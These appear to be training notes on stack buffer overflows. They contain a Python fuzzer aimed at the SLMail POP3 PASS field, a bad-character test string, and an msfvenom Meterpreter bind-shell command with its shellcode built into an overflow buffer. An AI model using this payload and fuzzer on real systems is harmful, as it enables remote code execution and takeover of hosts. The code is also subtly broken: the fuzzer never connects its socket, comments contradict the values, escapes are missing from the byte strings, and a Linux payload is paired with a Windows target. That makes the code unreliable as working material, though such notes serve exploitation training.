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Buffer Overflows

There are three main ways of identifying flaws in applications

  • If the source code of the application is available, then source code review is probably the easiest way to identify bugs.
  • If the application is closed source, you can use reverse engineering techniques, or fuzzing, to find bugs.

A look inside Stack while a simple app is running

Fuzzing

  • Fuzzing involves sending malformed data into application input and watching for unexpected crashes.
  • An unexpected crash indicates that the application might not filter certain input correctly. This could lead to discovering an exploitable vulnerability.

A Word About DEP and ASLR

  • DEP (Data Execution Prevention) is a set of hardware, and software, technologies that perform additional checks on memory, to help prevent malicious code from running on a system.
  • The primary benefit of DEP is to help prevent code execution from data pages, by raising an exception, when execution occurs.
  • ASLR (Address Space Layout Randomization) randomizes the base addresses of loaded applications, and DLLs, every time the Operating System is booted.

Interacting with the POP3 Protocol

if the protocol under examination was unknown to us, we would either need to look up the RFC of the protocol format, or learn it ourselves, using a tool like Wireshark.

  • To reproduce the netcat connection usage performed earlier in the course using a Python script, our code would look similar to the following
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  print "\nSending vil buffer..."
  s.connect(('10.0.0.22',110))     #connect to IP, POP3 port
  data = s.recv(1024)     # receive banner
  print data     # print banner

  s.send('USER   test' +'\r\n')     # end username "test"
  data = s.recv(1024)     # receive reply
  print data     # print reply

  s.send('PASS test\r\n')     # send password "test"
  data = s.recv(1024)     # receive reply
  print data     # print reply

  s.close()     # close socket
  print "\nDone!"

except:
  print "Could not connect to POP3!”
  • Taking this simple script and modifying it to fuzz the password field during the login process is easy. The resulting script would look like the following.
#!/usr/bin/python
import socket

# Create an array of buffers, from 10 to 2000, with increments of 20.
buffer=["A"]
counter=100

while len(buffer) <= 30:
  buffer.append("A"*counter)
  counter=counter+200

for string in buffer:
  print "Fuzzing PASS with %s bytes" %len(string)
  s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  s.recv(1024)
  s.send('USER test\r\n')
  s.recv(1024)
  s.send('PASS ' + string + '\r\n')
  s.send('QUIT\r\n')
  s.close()
  • Run this script against your SLMail instance, while attached to Immunity Debugger.
  • The results of running this script shows that the Extended Instruction Pointer (EIP) register has been overwritten with our input buffer of A’s (the hex equivalent of the letter A is \x41).
  • This is of particular interest to us, as the EIP register also controls the execution flow of the application.
  • This means that if we craft our exploit buffer carefully, we might be able to divert the execution of the program to a place of our choosing, such as a into the memory where we can introduce some reverse shell code, as part of our buffer.

Execution Halted in OllyDbg

Check for bad characters

>> python -c \
'print "A"*80 + "B"*4 + \
"x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10" + \
"x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20" + \
"x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30" + \
"x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40" + \
"x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50" + \
"x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60" + \
"x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70" + \
"x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80" + \
"x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90" + \
"x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0" + \
"xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0" + \
"xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0" + \
"xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0" + \
"xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0" + \
"xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0" + \
"xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff"'

Generate meterpreter bind-tcp payload

>> msfvenom -p linux/x86/meterpreter/bind_tcp -b="0x00" -f python
# using output from last command we can create our full payload
python -c \
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"BBBB"
'print "A"*80 + "B"*4 + "x90" * (400 - 137) + \
"\xba\x8a\x2a\xb0\xa4\xd9\xed\xd9\x74\x24\xf4\x5d\x31" + \
"\xc9\xb1\x1c\x31\x55\x14\x03\x55\x14\x83\xed\xfc\x68" + \
"\xdf\xda\xd9\x34\xb9\xa9\x25\x7d\xb9\xdd\x29\x7d\x33" + \
"\x3e\x4f\xfc\xa0\xc1\x60\x33\xa6\xf3\x5b\x3c\x44\xa0" + \
"\x18\x91\xe1\x45\x16\xf4\x46\x2f\xe5\x76\xf7\xda\xf1" + \
"\x22\x92\x18\x90\xcb\x32\x8a\xed\x2a\xd8\xba\xb6\xc6" + \
"\x7b\x9b\x85\x96\x13\x98\xd2\x82\x42\xc4\x84\xf8\x1c" + \
"\xf8\x38\xed\x80\x96\x28\x5c\x69\xee\xa8\x34\xef\xa8" + \
"\xe7\x48\x3e\xab\x48\x2e\x0c\xac\xf9\xed\x3e\xcb\x70" + \
"\xa0\x3a\xd9\x03\xd1\xf5\xed\xb3\xd6\x34\x6d\x34\x07" + \
"\x9d\xde\x3d\x7a\xa2\xe0\xa3"'